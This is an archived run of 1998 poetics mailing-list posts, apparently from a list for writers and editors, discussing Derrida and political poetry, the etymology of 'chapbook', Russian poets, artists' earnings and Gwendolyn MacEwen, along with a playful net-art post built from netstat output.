"Tyranny begins in the language of tyranny, which derives ultimately from philosophy. If that were transformed, or 'neutralized' as he says in Politics of Friendship, so eventually would our politics be. He proves to be extremely open-minded about what this might entail. He asks rhetorically whether 'it would still make sense to speak of democracy when there would be no more speaking of country, nation, even state and citizen.' He also considers whether the abandonment of Western humanism would mean that concepts of human rights, humanitarianism, even crimes against humanity would have to be forsworn. But then what remains? If deconstruction throws doubt on every political principle of the Western philosophical tradition - Derrida mentions propriety, intentionality, will, liberty, conscience, self-consciousness, the subject, the self, the person, and community - are judgments about political matters still possible? Can one still distinguish rights from wrongs, justice from injustice? Or are these terms, too, so infected with logocentrism that they must be abandoned? Can it really be that deconstruction condemns us to silence on political matters, or can it find a linguistic escape from the trap of language?"

(Snip)

" . . . Derrida is convinced that the only way to extend the democratic values he himself holds is to destroy the language in which the West has always conceived of them, in the mistaken belief that it is language, not reality, that keeps our democracies imperfect. Only by erasing the vocabulary of Western political thought can we hope for a ''repolarization' or a 'new concept of politics.' But once that point is achieved, what we discover is that the democracy we want cannot be described or defended; . . ."

(snip)

"No wonder a tour through the post-modernist section of any American bookshop is such a disconcerting experience. The most illiberal, anti-enlightenment notions are put forward with a smile and the assurance that, followed out to their logical conclusion, they could only lead us into the democratic promised land . . ."

I don't claim, of course, that poets have to be "humanists" - Olson also wanted to dismantle that philosophical system which places humans, unnecessarily, at the center of things. But I appeal to people with more of a background in modern philosophical theory then myself to refute this somewhat - alarming -- description of Derrida's ideas!

When someone suggests that poetry can't or shouldn't be "political" and then goes on to describe a "pure poetry" or as Henry had it earlier a "poetic impulse" that somehow precedes "rhetoric," I get . . . a little nervous!

Deconstruction is not NECESSARILY "lang-po," I know, but Bobbie - has your machine blown up yet?

Joe

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632. **Peter Minter**
chapbook
Wed 17 Jun 1998

This might seem a stoopid question, but last night I friend and I were discussing the word/object 'chapbook'... any ideas on where it came from? first use? did this term originate in the US?

yours in brevity, and thanks

Peter Minter

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633. **Jordan Davis**
poetry makes nothing [that is not there and the nothing that is] happy
Wed 17 Jun 1998

Henry --

Your mention caused me to climb up and get the Exact Change Yearbook No. 1 (where are 2 3 4 and 5??) to look at the recent Russians there. Eremenko struck me, in Joe Donahue's translation, and Nina Iskrenko got to me too. I know I've seen the others you mentioned, but I can't remember where. Forgive me for a lazy sycophant, but what are some collections, magazines, etc.

Sedated,
Jordan

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634. **David Baratier**
Re: Weiner's _Code Poems_
Wed 17 Jun 1998

---

charles-

I seem to remember mention of another article when I was putting together the issue of 6ix. Perhaps Mark DuCharme would know. Backchannel if you'd like me to go through the files.

Be well

David Baratier

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635. **Laura E. Wright**
Re: chapbook
Wed 17 Jun 1998

I looked this up a few months ago, 'cause I didn't know either: a chapbook was originally any small, cheap book (chiefly pamphlets of popular tales, ballads, tracts) sold by a chapman -- an itinerant peddler or a boothkeeper at market-place. OED sez origins of chap are barter, business. Seems to precede the US.

Brevity in yours,

Laura W.

Peter Minter wrote:

> *This might seem a stoopid question, but last night I friend and I were discussing the word/object 'chapbook'... any ideas on where it came from? first use? did this term originate in the US?*
>
> *yours in brevity, and thanks*
>
> *Peter Minter*

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

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636. **izak**
poetry readings...
Wed 17 Jun 1998

---

can anyone tell me if there are any readings of interest coming up in los angeles?
i'm here for the summer and have had some problems finding anything.
thanks.
-joanna sondheim

****
"It does not behoove me to make myself smaller than I am." -Edith Sodergran
****

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637. **Mark Weiss**
Re: Art, Poetry, context
Wed 17 Jun 1998

I second Charles on this. Some years ago I read that the average visual artist in New York (the city) who made any money at all (surely the minority) reported taxable earnings from artwork of $4,500 a year. One reason, aside from those already mentioned, for the relatively easy acceptance of visual art (but remember that subsumed under the term is a great deal of highly popular unspeakable dreck--"I may not know much about art, but I know what I like") is that it can cover a lot of otherwise dull or unsightly wallspace. Which is why, as corporate headquarters have become more imperial in scale, paintings have tended to expand to baroque dimensions. Visual art, in other words, can be justified as an architectural expense, which would be hard to do with a poem. Meanwhile, to remain on the corporate front, I know from a curator at Prudential, which has an enormous and very fine collection of 20th Century art, that it's often very hard to convince even the head honchos to hang anything in their offices more sophisticated than fishing scenes or portraits of hunting dogs. Pollock and Warhol might just as well stay in the vault.

At 05:32 PM 6/14/98 -0700, you wrote:
>At 02:26 PM 6/17/98 -0500, you wrote:
>>Being situated in the context of "art" does clearly lead to more visibility
>>(and remuneration), but I've enver been able to clearly understand exactly
>>why this should be.
>
>Ah yes, all the rich artists. Really, this is not at all the case. True,

>there is a high-money art market, and a few (in comparison to the total, a
>very very tiny few) artists make some money. But far more that I know
>struggle just as much as poets, and studio rent and materials that many (if
>not most) artists use tend to be a good deal more expensive than paper &
>pen -- plus artists need to be computer savvy these days, too. Yes, if one
>does sell a painting, for example, she may receive anywhere from a hundred
>to several thousand dollars. Very few, though, sell enough to pay the bills
>without taking other jobs, just as poets take jobs, whether it be as
>teachers or clerks or waitpersons, or whatever. And artists' MFA programs
>have the same problems, including turning out 'employable' graduates, that
>writers' MFA programs have. I do think more people out there in the world
>see art every day or every week and are therefore less intimidated by
>artists. But then I also have seen situations where artists seem to have a
>stereotype of not being very smart -- and truly, I knew one who rather
>encouraged this; he would get himself out of any difficult arguments/twists
>of thinking by just saying, "well, I'm *visually* trained."
>
>charles
>charles alexander :: poet and book artist :: [redacted]
>chax press :: alexander writing/design/publishing
>books by artists' hands :: web sites built with care and vision
>http://alexwritdespub.com/chax :: http://alexwritdespub.com
>
>

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638. **Simon J. Schuchat**

Re: poetry makes nothing [that is not there and the nothing that is] happy

Wed 17 Jun 1998

As someone about to begin a year of intensive Russian study, I am following Henry & Jordan's slanging match on the Rooshians with great interest. I am hoping that Henry is right and there is lots there, though I'll be satisfied with Pushkin and Mayakovsky if there is nothing much else.

Jordan I think is right that Requiem and its ilk gain much from the penumbra of story around them, and also that certain Soviet writers gain cachet among those who don't read poetry anyway because they wrote "against" the Soviet state. That doesn't make them not good, it just means you have to distinguish between their supporters and them.

In Brodsky's essay on Mandelstam (which I copyedited when it was the introduction to Bernard Meares rhyming translations of Mandelstam, published by Persea, thousands of years ago) Brodsky makes it clear that what happened to Mandelstam would have happened to him in any society (look at Hart Crane, though B doesn't make that comparison). "When he ran out of space, he hit time." is the operative line.

Anyway them Rooshians did a good job of art as religon, we godless capitalists always like that.

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639. **Brent Long**
Re: Stanford/Wright/Gander
Wed 17 Jun 1998

Linda,

C.D. started editing Lost Roads in 1978-79, right after Frank's death. The grant for it was going to be pulled, but somebody (I think it was either Jim Whitehead or Alan Dugan...most likely Whitehead) wrote a letter on her behalf and the grant was kept.

At 06:41 PM 6/17/98 +0000, you wrote:
>Aviva & Brent --
>Maybe you guys know -- I'm wondering when CD Wright began editing
>Lost Roads, which I believe she took over after Frank Stanford died.
>Do you know what year she assumed total editorial responsibilities?
>
>As for Gander, I concur. About 4 years ago (before I knew anything)
>I wrote a review of _Lynchburg_ for the Harvard Review. Reading now,
>it's more a record of my discovering poetry than a review of Gander --
>The only intelligible thing I said, referring here to "Life of Johnson upside
>your Head, a libretto" (I called it a "verbal chiaroscuro"):
>"But what is most remakrable about Gander is his ability to isolate
>events as though they occur purely within the random constructions
>of language."
>
>Now I realize that's what events, "isolated" (i.e. written down) do.
>
>The same year I had to give up reviewing Rosmarie Waldrop's
> _Key to the Language of America_ & now she's a favorite of mine.
>
>
>

> Linda Russo
> * @ * % * & * # *
>
> with only the sound of the mimeograph "kachucking"
> and the pages swishing down . . . (Maureen Owen)
>
>
[redacted]

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640. david bromige
reading reports
Wed 17 Jun 1998

Just want to drop a word of gratitude into the pool--to Chris Reiner for the Knife and Fork Report from L.A., to Steve Evans a week or so back for reporting on his reading, partic of Creeley's _Life & Death_ , which from Steve's as-ever startlingly precise language it's easy to see one must read . . .And to Pat Pritchett, whose gift for writing on these events is equally admirable. Thanks, fellas.

What we're missing (unless I erased carelessly) is some report on the conference in Sao Paulo. I know some listmates attended. I'd like to hear about it.

David

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641. Dale Smith
Smell of Money
Wed 17 Jun 1998

Hey, Joe Safdie, that was a post straight to the heart of the money matter. Derrida gave us the freedom to know absolutely nothing and write THAT into the ground where bad old REASON lies buried by the neo liberal left. The PoMo culture market is Big Bucks and open to anyone with an opinion, nevermind curiosity. Interesting that this late in the post-'68 'revolution' someone spent the energy on french fried idears, however low fat and cholesterol free.

By the way, I'd venture to say that one of the most important forces, if not the most important force, keeping this list going is $. Elbow, elbow. Nudge, nudge. 'Come on, print my books, sir.'

The 'avant-garde' is academia lite. The meaning is gone, like so-called 'alternative' music. It really doesn't mean anything to anyone. MOre mainstream than mainstream, if you get my drift. Whatever it takes to cash in is what it takes.

Bobbie, I'd love to post something of Kevin's, but I don't think he'd dig the format and I don't wanna set him up for instantaneous deletion by the avant-G. Although, I will end by quoting him:

"If I knew how the jungle got wall-to-wall carpeting

I'd be a rich man today..."

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642. **charles alexander**

Re: chapbook

Wed 17 Jun 1998

---

yes, and what do people consider to be a 'chapbook' now? My own definition (usually) is a book which is sewn as a single folded group, or signature, of pages. So it could be as short as 4 pages, or maybe as long as about 48 -- but then I've seen (and made) books which were multiple signatures at less than 48 pages, and have chosen not to call them 'chapbooks,' rather, just 'books.' And I'd just soon drop the term chapbook altogether, except that I like its history, its suggestion (at least in my own head) of a book very easily carried around, perhaps even in a pocket.

charles

At 06:15 PM 6/17/98 -0600, you wrote:
>I looked this up a few months ago, 'cause I didn't know either: a chapbook was
>originally any small, cheap book (chiefly pamphlets of popular tales, ballads,
>tracts) sold by a chapman -- an itinerant peddler or a boothkeeper at
>marketplace. OED sez origins of chap are barter, business. Seems to precede
>the US.
>
>Brevity in yours,

chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax

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643. **Henry**
Re: Art, Poetry, context
Wed 17 Jun 1998

I'd like to strongly second Charles Alexander's perspective on "rich artists" and thank him for personally helping me find a brief break from a nine-to-five for one of these not-so-rich artists. You know who I mean, Charles! She's found a six-week apprenticeship, thanks to you. - Henry G.

↑ Index

644. **Henry**
Re: poetry makes nothing [that is not there and the nothing that is] happy
Wed 17 Jun 1998

Jordan old heteronym, Elena Shvarts has a Blooodaxe book called "Paradise". It's the tip of the iceberg of this strange Petersburg poet. Julia Kunina is not much in English, but she read recently in your town at some big get-together (for a Talisman anthology?) - she's getting some degree at NYU, also from Petersburg. There's a chapbook translated (not so well, in my humble egotrip) by Richard Sieburth called "Durer at his mirror" from something called Lunar Offensive Press.

thanks for asking - henry

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645. **Karen Kelley**
Re: Weiner's _Code Poems_
Wed 17 Jun 1998

Any chance of your posting some of this Maria?

Charles Bernstein wrote:

> *Maria Damon's recent MLA presentation*
> *(Maria will be giving a talk entitled "Hannah Weiner: Clairvoyance and Trauma" for the UB Poetics Program on Thurs., Oct. 15).*

↑ Index

646. **Henry**
Re: where's the poetry? (Don't ask Derrida)
Wed 17 Jun 1998

On Wed, 17 Jun 1998 15:37:09 -0700 Safdie Joseph said:
>(snip)

>
> "No wonder a tour through the post-modernist section of any
>American bookshop is such a disconcerting experience. The most
>illiberal, anti-enlightenment notions are put forward with a smile and
>the assurance that, followed out to their logical conclusion, they could
>only lead us into the democratic promised land . . ."
>
>I don't claim, of course, that poets have to be "humanists" - Olson also
>wanted to dismantle that philosophical system which places humans,
>unnecessarily, at the center of things. But I appeal to people with more
>of a background in modern philosophical theory then myself to refute
>this somewhat - alarming -- description of Derrida's ideas!
>
>When someone suggests that poetry can't or shouldn't be "political" and
>then goes on to describe a "pure poetry" or as Henry had it earlier a
>"poetic impulse" that somehow precedes "rhetoric," I get . . . a little
>nervous!

I must confess that all the merry-go-round on this stuff has left me nauseated with my own blab, and if I'M nauseated what must the general poetics person feel (I have an iron stomach, I grew up in Bob Dylan land)? With the sense of being an Eliot cartoon, laying down the law about the "tradition" etc. and what poetry is... sigh, sigh, sigh.

Poetry is utterly raw experience. It is pre-rhetoric because it is just about pre-linguistic. It is babytalk turned into dance music. Does this mean it is unrefined or brutish? No - it is shocking & scandalous. But I mean the scandal of innocence. Joe, when I wrote about the surging music of Russian poetry I was talking about the same thing Shakespeare has in his sonnets about "hugely politic" vs. petty politics. "Fair, kind, and true is all my argument". This is what people look for in poetry, at least I do anyway - the music of raw truth,"the music of what happens"(to quote the Celtic bard, I forget his name).

Olson was attacking a straw man humanism. He was fighting technological rationalism but he called it humanism. The pure poetic impulse before politics & rhetoric is the continuum or the link between artifice and nature. It can lead in many directions. It can lead to a Robert Bly (myth as style). It can lead to a John Ashbery (style as myth). It can lead to a Galway Kinnell (myth as myth). It can lead to an Allen Ginsberg (politics as poetry). It can lead to Language Poetry (poetry as politics). It can lead to Adrienne Rich (poetry politics poetry). It can lead to Bernadette Mayer (poetry). The main thing is, there is no satisfying formula (with me, Aristotle?) for the Gorby doll box-within-boxes of art-politics-art- etc. There is no formula, Joe. But to answer your question: my thrust on this topic has been to suggest that like music and painting there is a specific

poetic impulse which starts at around age 1-3 and fuck the theorists who want to box this into some sociological fart factory. - Henry Gould

↑ Index

647. k. lederer
Katy Lederer/Change of address
Wed 17 Jun 1998

Hi,

I'm moving. My new address is:

> 226 W 108th St Apt 2D
> New York, NY 10025

All correspondence regarding EXPLOSIVE MAGAZINE and Spectacular Books should be directed to this address.

EXPLOSIVE MAGAZINE #s 4 and 5 are available for $5 per issue.

The first in the Spectacular chapbook series, SONGS & SCORES by Tina Celona, is available for $6. It's printed on acid-free paper in a signed edition of 100.

Forthcoming titles by Martin Corless-Smith, Juliana Spahr, Lyn Heinian and others will also be available for $6.

There will be ten titles all told. Signed sets are available for $50 (as in: you will receive the same number of each edition).

Thanks,
Katy Lederer

↑ Index

648. Brian N Clements
Re: chapbook
Wed 17 Jun 1998

The term "chapbook" dates as far back as the seventeenth century "cheapbook," though it could be earlier, to refer to cheaply produced and sold pamphlets, usually political or philosophical tracts. Would be happy to hear other sources....

Clements

~~~
~~~

performing in the corner of the church during Mass, a drag queen attending night classes and blowing kisses at the teacher.

Charles Simic

↑ Index

649. **david bromige**
Misappropriation from the List
Wed 17 Jun 1998

No, Bill, nothing was agreed upon. The Listmaster either b-c'd me or posted to the List, that it was disapproved of, to take without requesting permission of the author, but as far as I know, nothing was enforced against Dale Smith, a man who had a lot to say about morality and poetry but who took words of mine for his magazine without any request for my permission. David

↑ Index

650. **michael corbin**
Re: Good, there are no lions in the street
Thu 18 Jun 1998

[redacted] wrote:

> *"Desire" has become one of those prissy words I find problematic *these* days. When Jane Gallop visited SF State (maybe 10 years ago), she talked about how many feminist books at the time had mauve covers. Mauve, she said, was Frenchified pink. "Desire" seems to me to be Frenchified sex.*
>
> *Remember last year talking to this fellow who had a book coming out and I asked him what the book was about and he said, snootily over his beer, "My book's about Desire." I kept pressing him, but that's all he'd say about it. When the book came out, it was, in part, as I had expected, knowing his previous oeuvre, about having sex with teenage hustlers. I'm not judgemental about that--but "Desire" certainly sounds better than kiddy porn.*
>
> *Mina, I'd say *these* days, is about sex and appetite--Courtney Love's "I wanna be the girl with the biggest piece of cake." And of course a desperate search for self-validation. "Desire" isn't problematic enough.*
>
> *For what it's worth.*

Thanks.

Tis true. Desire was sorta one performance of 80s authenticity. now maybe prissy is right.

Like a residual Courtney tattoo 'K' on the belly (maybe a vaniety fair cover)/ courtney still smells like teen spirit, and I look forward to the new HOLE disc, see if she still rocks and all that, those just-so appetites of rockandroll. I'm trying to believe in certain performances of appetites. and, seriously, I hope girlfriend turns hollywood on its head and gets a big old piece of cake. I like various hunger.

But this too is some multirefracted desire of authenticity, no?

I don't know.

The hyper-real as the only real reality, even in its nostalgic displaced embodiments, and personalized performance arts.

I guess this my mina. tonight. beautiful in the letters.

Not just the transmigration of body fluids. Bram Stoker didn't even need that particular 'real' appetite.

Maybe like a Ron Athney paper towel with the right blood stains. Thrown to the crowd as confetti. the un-dead appetites

mc, who some years ago saw a poem spine in a used book store called _Desire_, bought it and liked it. but i'm a fucking priss too. like carson's _Eros_ better than appetite desires. but maybe too classical: "Eros once again limb-loosener whirls me/sweetbitter, impossible to fight off, creature from stealing up" (Poetarum Lesbiorum Fragmenta in carson).

too classical-mauve yeah, i guess; i like blood sucking. impossible appetites. impossible gluttonies.

mc

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651. A. Nikuko Sondheim

this and that

Thu 18 Jun 1998

A friend of mine, Rafi Zabor, just won the Pen Faulkner award for fiction, for his book The Bear Comes Home. I know this because a friend of mine, Mark Esper, heard my name on NPR and came running in, and I knew Rafi as Joel when we played and recorded together for ESP-Disk and Riverboat.(And the ESP has been released again as a cd on ZYX or some wuch. So tonight I went to hear him read and was interviewed by a reporter-photographer team because I knew him when. His editor was there for the reading. He had been doing not so great before the award and I recommend the book which is by Norton because it's the only jazz thing other than old stuff by Baraka/ Jones like Applecores that make any sense to me, and he does do, Rafi does, the solos from inside out. An odd

experience how things shift; meanwhile I have an editor for a book of essays coming out who doesn't re- turn my calls. Am I jealous? Of editors of course. The more marginal the writing the more marginal the contacts and the greater the nuisance one, meaning I, become.

Outside now in Brooklyn there are people screaming and throwing things.

On the way there I passed one of my favorite bookshops, Beyond Words Bookstore, only to find out it's closing down. Barnes and Noble are about a half-mile away. So there's a sale on at 186 Fifth Avenue, Brooklyn, if anyone is around looking for. It carries mostly queer fiction and essays and multiculturalisms and poems and it was there I got the Levitsky Por- traits, Yay for Rachel! (my exclamation, not part of the title), and an Eileen Miles School of Fish so I can read not standing up sometime. So the bookstore is about a few hundred feet from where Rafi/Joel is reading; there should be a point but there isn't except that Rafi/Joel reads quite beautifully and if you like Ayler for example or Coleman or those old ESP artists like Guiseppe Logan, you'll like the book, and if you like any sort of jazz you'll like the book, and I guess the other point is that just about anything makes me sad nowadays.

I feel since I'm in _this space_ I should write more so I want to mention a couple of other authors, Inoue Yasushi who writes historic/Borgesian fiction - another book having something to do with the poetics I work through at times, Relfections on Japanese Taste, The Structure of Iki, by Kuki Shuzo, who works through phenomenology.

There have been a great number of car crashes in my neighborhood, one of which included a Trans Am slamming into our building which remains up- right, but for how long.

Alan, perched

↑ Index

652. Billy Little

Re: poetry makes nothing [that is not there and the nothing that is] happy

Thu 18 Jun 1998

> Henry is right and there is lots there,
> Pushkin and Mayakovsky if there is nothing much else
I'm hoping this is innocent ignorance and not the usual chauvinist b.s.
Tsvetayava is twice the poet Pushkin is and so is Pasternak, Akmatova is a giant, though i love Mandelstam's work, Nadezda's the writer in that family and Yesinin, you got lots of treats coming Simon don't prejudge it, especially from the less than zero perspective of 90's US

↑ Index

653. **Aviva Vogel**
Re: Frank Stanford/Forrest Gander
Thu 18 Jun 1998

In a message dated 98-06-17 09:18:12 EDT, you write:

> *I'll keep you posted on the Stanford Page.*

Brent, thanks. Very unfortunate about the "falling out" with his widow. And yes, Gander deserves much more attention, especially to this latest volume of poems.

↑ Index

654. **A. Nikuko Sondheim**
Forwarded mail from our linux box -
Thu 18 Jun 1998

-

The Collectible Unconscious

Following Jung (who wrote about collectibles indeed), the following part- objects, common to all of us, reference our site, one through the image of the other, other through the image of the one. Think of these as inter- sections of projections, collectible, modular: All together now! Think of the vastness of the resulting Map:

Buy my netstat says Nikuko! I will connect my STREAM with yours:

```
{k:17}netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address          Foreign Address       State
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node Path
unix  2      [ ]         STREAM     CONNECTED     1056
unix  2      [ ]         STREAM                   1057   /dev/log
unix  2      [ ]         STREAM     CONNECTED     1330
unix  2      [ ]         STREAM                   1331   /dev/log
unix  1      [ ]         STREAM                   1394
unix  2      [ ]         STREAM     CONNECTED     2666
unix  2      [ ]         STREAM                   2667   /dev/log
unix  2      [ ]         STREAM     CONNECTED     2772
unix  2      [ ]         STREAM                   2773   /dev/log
{k:18}
```

Come into my HALLWAY says Nikuko; buy my LOUNGE! LOOK at me:

hallway.R | | |-- lounge.R | | |-- mapfile | | |-- newsfile | | |-- shop.R | | `-- wizroom.R | |-- go | |-- helpfiles | | |-- accreq | | |-- afk | | |-- listen | | |-- logging | | |-- look | | |-- mainhelp | | |-- map | |

Buy me a server says NIKUKO! NOBODY ever visits:

nobody **Never logged in** nikuko tty1 Mon Jun 15 16:48:19 1998 sondheim tty1 Tue Jun 16 16:15:26 1998

PURCHASE THE UNCONSCIOUS!

CONTACT DAISHIN NIKUKO!

WITHIN!

↑ Index

655. **Robert Corbett**

Re: where's the poetry? (Don't ask Derrida)

Thu 18 Jun 1998

Please, oh please, don't get your deconstruction from NYRoB. Those Oxford Dons masquerading as New York intellectuals have had a chip the size M. Foucault's bald head about postmodernism since day one. This time they have a native informant, rather than John Searle (who weighed in such an enlightened manner in the Stanford Humanities debate), but its the same spiel as usual. Lilla gives away the game by saying that Aron is the only political philospher of note who has been produced in France in the post-war period. Aron is essentially the French Oakeshott, a conservative thinker that theorist-baiting liberals love to cite when they see red. Furthermore, the whole article footnotes various accounts of deconstruction and postmodernism that have occurred in the New York Review of Books. What looks like scholarship is actually self-puffery. The last time I checked, most articles in reputable academic journals cite work published in other journals.

However, it is the spectre of Foucault that really haunts this article. The two-sentence dismissal of him early on misreads his work badly (perhaps Lilla has read "Madness and Civilisation," while that final quote from Les Mots et les Choses is easily the most cited piece of Foucault there is). Foucault haunts Lilla because for all the sound and fury about Derrida, it is the he who ultimately deserves the blame for making liberal a dirty word for the left. To risk an inappropriate though not inapt metaphor, if Derrida is the Gorbachev of Western Metaphysics, then Foucault is the Yeltsin. Derrida is an academic par excellence,

suggesting we read the canon in yet another imaginative if esoteric way, while Foucault turned his attention away from the theatricum philosophicum much earlier and suggested we go to the archive and pursue the grey art of genealogy. From Saidian accounts of orientalism to queer studies, his followers are legion.

To my notion, this is not a bad thing. Giving up great books as the only guide for the politically perplexed simply means that knowing your Locke doesn't make you a champion of human rights. Or for that matter, spouting off about human rights doesn't necessarily make a partisan for liberation. Fouault and Derrida were and are certainly suspicious of liberal platitudes as platforms for progress: the latter for perhaps willfully obscure epistemo-metaphysico-ethico reasons, the former because such platitudes are usually double(even multiply)edged. After all, the developer of the panopticon, Jeremy Bentham, was an Enlightenment thinker and a reformer. Foucault is rightfully suspicious of rousing liberal slogans--or for that matter, rousing radical slogans--because they _have_ been used to promulgate social control. Lilla is all wet about Foucault, because it ain't the margins that are the oppressed, but the center (the bourgeois) which represses itself and then sees who else might find freedom through surveillance (though that center is not a center--you get my drift). Like it or not, successful identity politics means the state (and the market) can classify you and "discipline" you to its heart's (exactly the wrong word) content.

Lilla's fear of the postmodern bookshelf would be comic, if it wasn't the only way journalists react to postmodernism. I wonder what books he is referring to. Isn't it suspicious that he cites no examples? Is he just covering the fact that he laments the disappearance of common culture (I suppose he doesn't watch the X-Files) and doesn't want to show his true colors? Just who is the big baby here anyway? Actually, pace Lilla (and Aron) Foucault's work on the role of intellectuals and politics is some of the most thoughtful in the wake of Camus and Sartre. He contrasted the Sartrean universal intellectual--thinker as prophet and leader-- with the modern specific intellectual--thinker as toolmaker. Predictably, he chose the latter, though not without some irony, since he was probably the last universal intellectual (certainly the last one from France). I think the specific intellectual is the role that a cultural worker (poets, critics, novelists, etc) inevitably play in a consumerist society. It's not a question of Politics with a big P, about which even Derrida (as Lilla does show well) can sound ponderous and vague, but politics with a little "p". It is a bit arrogant (not to say Stalinist) to suggest any one profession (be it political philosopher, literary critic, poet) has the only correct line on politics, but even worse, it is absurd to suggest that skepticism about language equals fascism. That said, I don't think it is necessary to go to a tenured radical (or reactionary) for a political

philosophy anyway. As the great sage of our time said once, you don't need a weatherman to tell which way the wind is blowing.

On Wed, 17 Jun 1998, Safdie Joseph wrote:

> *The long-running thread about politics and poetry and their uneasy coexistence or doubling has reached a very subtle and high level, it seems to me, with the latest posts of Standard and Mike and Henry and Dan. I thank them all for their cogency! (Soon it will all be forgotten and we'll go back to ground zero, of course . . .)*
>
> *What follows are a few paragraphs from "The Politics of Jacques Derrida" in the June 25 issue of the New York Review of Books, which speak to my . . . uneasiness . . . about severing that link.*
>
> *"Tyranny begins in the language of tyranny, which derives ultimately from philosophy. If that were transformed, or 'neutralized' as he says in Politics of Friendship, so eventually would our politics be. He proves to be extremely open-minded about what this might entail. He asks rhetorically whether 'it would still make sense to speak of democracy when there would be no more speaking of country, nation, even state and citizen.' He also considers whether the abandonment of Western humanism would mean that concepts of human rights, humanitarianism, even crimes against humanity would have to be forsworn.*
>
> *But then what remains? If deconstruction throws doubt on every political principle of the Western philosophical tradition - Derrida mentions propriety, intentionality, will, liberty, conscience, self-consciousness, the subject, the self, the person, and community - are judgments about political matters still possible? Can one still distinguish rights from wrongs, justice from injustice? Or are these terms, too, so infected with logocentrism that they must be abandoned? Can it really be that deconstruction condemns us to silence on political matters, or can it find a linguistic escape from the trap of language?"*
>
> *(Snip)*
>
> *" . . . Derrida is convinced that the only way to extend the democratic values he himself holds is to destroy the language in which the West has always conceived of them, in the mistaken belief that it is language, not reality, that keeps our democracies imperfect. Only by erasing the vocabulary of Western political thought can we hope for a ''repolarization' or a 'new concept of politics.' But once that point is achieved, what we discover is that the democracy we want cannot be described or defended; . . ."*
>
> *(snip)*
>
> *"No wonder a tour through the post-modernist section of any American bookshop is such a disconcerting experience. The most*

> *illiberal, anti-enlightenment notions are put forward with a smile and the assurance that, followed out to their logical conclusion, they could only lead us into the democratic promised land . . ."*
>
> *I don't claim, of course, that poets have to be "humanists" - Olson also wanted to dismantle that philosophical system which places humans, unnecessarily, at the center of things. But I appeal to people with more of a background in modern philosophical theory then myself to refute this somewhat - alarming -- description of Derrida's ideas!*
>
> *When someone suggests that poetry can't or shouldn't be "political" and then goes on to describe a "pure poetry" or as Henry had it earlier a "poetic impulse" that somehow precedes "rhetoric," I get . . . a little nervous!*
>
> *Deconstruction is not NECESSARILY "lang-po," I know, but Bobbie - has your machine blown up yet?*
>
> *Joe*

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

↑ Index

656. **Jim Andrews**
an institutionalized avant garde
Thu 18 Jun 1998

"The bowerer" wrote:

> *First time I have heard Rod MacEwan mentioned for years. Reminds me of the time someone in _Rolling Stone_ referred to MacEwan and MacCohen....*
>
> *Gwendolyn MacEwen, not Rod McKuen (thanks, Maria). I spelled her name wrong. You spelled Rod McKuen's*
> *wrong. But it is worse to spell Gwendolyn's name wrong than McKuen's because she was*
> *such a fine poet.*

Maria Damon wrote:

> *hey i caught the bowerer in his own petard: it's MCKUEN. MacEwan, is that Ian the creepy-fiction writer? McKuen is the hallmark poet of SF 60s.*
>
> *Oh, I knew it. Damn. Okay, Maria, I'll do that same obeisance thing I did last year.*

Maria:

> *not so fast, my pretty. there's a line, and the stakes have gone up.*

Maria wrote:

> *so tell us more; who's this Gwendolyn MacEwen.*

Bob wrote:

> *Gwendolyn MacEwen,*
>
> *Ah the Canadian poet whom Milton Acorn (another Canadian poet) was so in love with. They never quite got it together. She ended up committing suicide, and he died not that long after, of cancer, after returning to the east coast.*
>
> *One of the saddest, most tragic, love stories, in Canadian literature.*
>
> *Both were exceptional poets. Both gave away most of their poetry, to people on the street and in similar venues, in the days long before the Internet.*

I dug through hundreds of tapes tonight for these two lines by Gwendolyn. I had several of her books including The Fire Eaters and Afterworlds (her last), but they did not survive the fire at my place a few years ago. These are from The Fire Eaters, the title poem of a meditation on pain, loss, and transformation, and come at the end of the poem. They come as an affirmation or conclusion of her fine poem:

"A hairless wonder will be born again.
Scared silly or suddenly sane."

Thanks, Bob, for your words about her and Milton Acorn. I read her books in a dark time and found them beautiful, strong, and laughing, and they helped me more than I can say.

Come on, George, you must have some of her books in your library. You probably knew her quite well. Can you give us one? I'm in Seattle where there aren't such things.

I see Coach House Books has part of one of her works online at http://www.chbooks.com/onlinebooks/macewen/title.html, but it's not one I'm familiar with.

She and Acorn were quite outside the roof of the institutionalized avant garde of Canada. You are under it, though perhaps not within it? Besides, it may be an eventuality in an institutionalized culture. The roof is bigger than it is down here, and has its advantages and social/human justifications. What are we to say of Gwendolyn and Milton Acorn in this context but that they lived as truly to their art as they could? And that this is often less than accomodating?

P.S. My fave of Cohen's is The Energy of Slaves, one which ss missed quite completely in his book on Cohen's work.

Jim.

↑ Index

657. **George Bowering**
Re: Cohen
Thu 18 Jun 1998

> *George,*
>
> *Any chance you have that intelligent review? I would love to see it.*

Actually, no, I didnt save it. And now I wish I had. I cant even remember the reviewer's name. It was a pretty unusual name, I remember, and he was a philosophy professor at, I'm pretty sure, Carleton University, and I wouldnt be surprised if the review was in _Books in Canada_/

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

658. **George Bowering**
Re: MacEwen
Thu 18 Jun 1998

> *so tell us more; who's this gwendolyn mckuen*

So really: how well known is Gwen MacEwen's work in the US?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

659. **George Bowering**
Re: an institutionalized avant garde is
Thu 18 Jun 1998

> *At 1:22 AM -0700 6/17/98, George Bowering wrote:*
> *hey i caught the bowerer in his own petard: it's MCKUEN. MacEwan, is that Ian the creepy-fiction writer? McKuen is the hallmark poet of SF 60s.*
>
> *Oh, I knew it. Damn. Okay, Maria, I'll do that same obeisance thing I did last year.*
>
> *not so fast, my pretty. there's a line, and the stakes have gone up.*

Okay. Okay. But please, dont tell Bruno this time. Please.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

660. **George Bowering**
Re: chapbook
Thu 18 Jun 1998

> *This might seem a stoopid question, but last night I friend and I were discussing the word/object 'chapbook'... any ideas on where it came from? first use? did this term originate in the US?*
>
> *yours in brevity, and thanks*
>
> *Peter Minter*

I always figured that it was a little book offered for sale by a chapman.

